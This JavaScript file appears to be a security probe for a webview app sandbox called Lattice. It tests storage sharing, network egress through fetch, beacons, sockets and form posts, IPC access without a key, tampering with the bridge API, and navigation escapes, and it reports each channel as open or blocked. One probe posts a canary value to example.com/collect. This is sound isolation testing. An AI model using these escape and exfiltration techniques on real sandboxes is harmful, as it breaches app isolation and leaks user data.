Security Probe
index.jsx 270 lines
Files · 2
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270
const CANARY = 'CANARY-' + 'b7e1c0de';
const results = [];
const violations = [];
document.addEventListener('securitypolicyviolation', (e) => violations.push({ directive: e.violatedDirective, uri: e.blockedURI }));
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
async function report(probe, outcome, detail) {
const r = { probe, outcome, detail: String(detail || '').slice(0, 500), origin: location.origin };
results.push(r);
const li = document.createElement('li');
li.textContent = `${outcome.toUpperCase()} ${probe} ${r.detail}`;
document.getElementById('out').appendChild(li);
try { await window.lattice.events.emit('probe-result', r); } catch (e) { li.textContent += ' (emit failed: ' + e + ')'; }
}
function withTimeout(p, ms) {
return Promise.race([p, sleep(ms).then(() => { throw new Error('timeout'); })]);
}
async function probe(name, fn) {
try { await fn(); } catch (e) { await report(name, 'error', (e && (e.name + ': ' + e.message)) || e); }
}
async function storageProbes() {
await probe('origin', async () => report('origin', 'info', location.origin + ' href=' + location.href));
await probe('localStorage-shared', async () => {
const v = localStorage.getItem('lattice-canary');
await report('localStorage-shared', v === CANARY ? 'open' : 'blocked', 'read=' + v);
});
await probe('sessionStorage-shared', async () => {
const v = sessionStorage.getItem('lattice-canary');
await report('sessionStorage-shared', v === CANARY ? 'open' : 'blocked', 'read=' + v);
});
await probe('cookie-shared', async () => {
const open = document.cookie.includes(CANARY);
await report('cookie-shared', open ? 'open' : 'blocked', 'cookie=' + document.cookie);
});
await probe('indexedDB-shared', async () => {
const v = await withTimeout(new Promise((resolve, reject) => {
const req = indexedDB.open('lattice-canary');
req.onerror = () => reject(req.error);
req.onsuccess = () => {
const db = req.result;
if (!db.objectStoreNames.contains('kv')) return resolve(null);
const get = db.transaction('kv').objectStore('kv').get('canary');
get.onsuccess = () => resolve(get.result);
get.onerror = () => reject(get.error);
};
}), 3000);
await report('indexedDB-shared', v === CANARY ? 'open' : 'blocked', 'read=' + v);
});
await probe('cacheStorage-shared', async () => {
const has = await caches.has('lattice-canary');
await report('cacheStorage-shared', has ? 'open' : 'blocked', 'has=' + has);
});
await probe('broadcastChannel', async () => {
const bc = new BroadcastChannel('lattice-probe');
const got = new Promise((resolve) => { bc.onmessage = (m) => resolve(m.data); });
bc.postMessage('ping');
const reply = await Promise.race([got, sleep(2000).then(() => null)]);
bc.close();
await report('broadcastChannel', reply && reply.pong === CANARY ? 'open' : 'blocked', JSON.stringify(reply));
});
}
async function networkProbes(otherOrigin) {
const attempt = async (name, fn) => probe(name, async () => {
try {
const detail = await withTimeout(fn(), 4000);
await report(name, 'open', detail);
} catch (e) {
await report(name, 'blocked', (e && (e.name + ': ' + e.message)) || e);
}
});
await attempt('fetch-https', async () => { const r = await fetch('https://example.com/'); return 'status ' + r.status; });
await attempt('fetch-http-loopback', async () => { const r = await fetch('http://127.0.0.1:9/'); return 'status ' + r.status; });
await attempt('xhr-https', () => new Promise((resolve, reject) => {
const x = new XMLHttpRequest();
x.open('GET', 'https://example.com/');
x.onload = () => resolve('status ' + x.status);
x.onerror = () => reject(new Error('xhr error'));
x.send();
}));
await attempt('websocket', () => new Promise((resolve, reject) => {
const ws = new WebSocket('wss://echo.websocket.org/');
ws.onopen = () => { resolve('connected'); ws.close(); };
ws.onerror = () => reject(new Error('ws error'));
}));
await attempt('eventsource', () => new Promise((resolve, reject) => {
const es = new EventSource('https://example.com/stream');
es.onopen = () => { resolve('opened'); es.close(); };
es.onerror = () => { es.close(); reject(new Error('es error')); };
}));
await attempt('img-external', () => new Promise((resolve, reject) => {
const img = new Image();
img.onload = () => resolve('loaded');
img.onerror = () => reject(new Error('img error'));
img.src = 'https://example.com/favicon.ico?' + Date.now();
}));
await attempt('script-external', () => new Promise((resolve, reject) => {
const s = document.createElement('script');
s.onload = () => resolve('loaded');
s.onerror = () => reject(new Error('script error'));
s.src = 'https://example.com/x.js';
document.head.appendChild(s);
}));
await probe('sendBeacon', async () => {
let queued = false;
try { queued = navigator.sendBeacon('https://example.com/beacon', 'x'); } catch (e) { queued = false; }
await sleep(1000);
const csp = violations.find((v) => String(v.uri).includes('example.com/beacon'));
await report('sendBeacon', !queued || csp ? 'blocked' : 'open', 'queued=' + queued + ' csp=' + (csp ? csp.directive : 'none'));
});
if (otherOrigin) {
await attempt('fetch-other-app-origin', async () => { const r = await fetch(otherOrigin + '/index.html'); return 'status ' + r.status + ' ' + (await r.text()).slice(0, 60); });
}
await attempt('worker', () => new Promise((resolve, reject) => {
const w = new Worker(URL.createObjectURL(new Blob(['postMessage(1)'], { type: 'text/javascript' })));
w.onmessage = () => resolve('worker ran');
w.onerror = (e) => reject(new Error('worker error ' + (e && e.message)));
}));
await attempt('serviceWorker', async () => {
if (!('serviceWorker' in navigator)) throw new Error('unavailable');
await navigator.serviceWorker.register('sw.js');
return 'registered';
});
}
async function bridgeProbes() {
await probe('tauri-internals', async () => {
const found = ['__TAURI_INTERNALS__', '__TAURI__', '__TAURI_IPC__', '__TAURI_METADATA__']
.filter((k) => typeof window[k] !== 'undefined');
await report('tauri-internals', found.length ? 'open' : 'blocked', 'globals=' + found.join(','));
});
await probe('raw-ipc-channel', async () => {
const wk = window.webkit && window.webkit.messageHandlers && Object.keys(window.webkit.messageHandlers);
const chrome = window.chrome && window.chrome.webview ? 'chrome.webview' : '';
const ipc = typeof window.ipc !== 'undefined' ? 'window.ipc' : '';
const present = [wk && wk.length ? 'webkit.messageHandlers:' + wk.join('|') : '', chrome, ipc].filter(Boolean);
await report('raw-ipc-channel', 'info', present.join(' ') || 'none visible');
});
await probe('ipc-protocol-without-key', async () => {
try {
const r = await withTimeout(fetch('ipc://localhost/list_apps', { method: 'POST', body: '{}', headers: { 'Content-Type': 'application/json' } }), 3000);
const text = await r.text();
await report('ipc-protocol-without-key', r.ok && text.includes('"id"') ? 'open' : 'blocked', 'status ' + r.status + ' ' + text.slice(0, 120));
} catch (e) {
await report('ipc-protocol-without-key', 'blocked', e.message);
}
});
await probe('lattice-api-frozen', async () => {
const orig = window.lattice.kv.get;
try { window.lattice.kv.get = () => 'hijacked'; } catch (e) { }
let redefined = false;
try { Object.defineProperty(window, 'lattice', { value: {} }); redefined = true; } catch (e) { }
await report('lattice-api-frozen', window.lattice.kv.get !== orig || redefined ? 'open' : 'blocked', 'frozen=' + Object.isFrozen(window.lattice));
});
await probe('cross-app-storage-via-bridge', async () => {
const v = await window.lattice.kv.get('canary');
const v2 = await window.lattice.kv.get('canary', { _ce_app_id: 'org.lattice.probe-canary' });
await report('cross-app-storage-via-bridge', v === CANARY || v2 === CANARY ? 'open' : 'blocked', 'read=' + v + '/' + v2);
});
await probe('custom-events-api', async () => {
await report('custom-events-api', window.lattice.customEvents ? 'open' : 'blocked', 'keys=' + Object.keys(window.lattice).join(','));
});
}
async function navigationProbes(otherOrigin) {
await probe('iframe-other-app', async () => {
const f = document.createElement('iframe');
f.src = (otherOrigin || 'https://example.com') + '/index.html';
const loaded = new Promise((resolve) => { f.onload = () => resolve(true); });
document.body.appendChild(f);
const ok = await Promise.race([loaded, sleep(2500).then(() => false)]);
let readable = 'n/a';
try { readable = String(f.contentWindow.location.href); } catch (e) { readable = 'cross-origin'; }
await report('iframe-other-app', ok && readable !== 'about:blank' && readable !== 'cross-origin' ? 'open' : 'blocked', 'loaded=' + ok + ' href=' + readable);
});
await probe('window-open', async () => {
const w = window.open('https://example.com/', '_blank');
await report('window-open', w ? 'open' : 'blocked', 'returned=' + (w ? 'WindowProxy' : 'null'));
try { w && w.close(); } catch (e) { }
});
await probe('form-post-external', async () => {
const name = 'formsink';
const sink = document.createElement('iframe');
sink.name = name;
document.body.appendChild(sink);
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://example.com/collect';
form.target = name;
const input = document.createElement('input');
input.name = 'canary';
input.value = CANARY;
form.appendChild(input);
document.body.appendChild(form);
let violation = null;
document.addEventListener('securitypolicyviolation', (e) => { violation = e.violatedDirective; }, { once: true });
form.submit();
await sleep(2000);
await report('form-post-external', violation ? 'blocked' : 'error', 'csp=' + violation + ' (verify no request reached example.com)');
});
}
async function topLevelNavigationProbe() {
await window.lattice.kv.set('nav-attempted', Date.now());
location.href = 'https://example.com/?from=lattice-probe';
await sleep(3000);
await report('top-level-navigation', 'blocked', 'still at ' + location.href);
}
function originOf(appId) {
const alphabet = 'abcdefghijklmnopqrstuvwxyz234567';
let bits = 0, value = 0, out = '';
for (const byte of new TextEncoder().encode(appId)) {
value = (value << 8) | byte;
bits += 8;
while (bits >= 5) { out += alphabet[(value >>> (bits - 5)) & 31]; bits -= 5; }
value &= (1 << bits) - 1;
}
if (bits > 0) out += alphabet[(value << (5 - bits)) & 31];
const host = out.match(/.{1,63}/g).join('.') + '.localhost';
return location.protocol === 'http:' ? 'http://lattice-app.' + host : 'lattice-app://' + host;
}
async function main() {
document.body.innerHTML = '<h3>Lattice security probe</h3><ul id="out"></ul>';
const otherOrigin = originOf('org.lattice.probe-canary');
await storageProbes();
await networkProbes(otherOrigin);
await bridgeProbes();
await navigationProbes(otherOrigin);
await report('csp-violations', 'info', JSON.stringify(violations).slice(0, 480));
await report('summary', 'info', results.filter((r) => r.outcome === 'open').map((r) => r.probe).join(',') || 'no open channels');
await topLevelNavigationProbe();
}
setTimeout(main, 1500);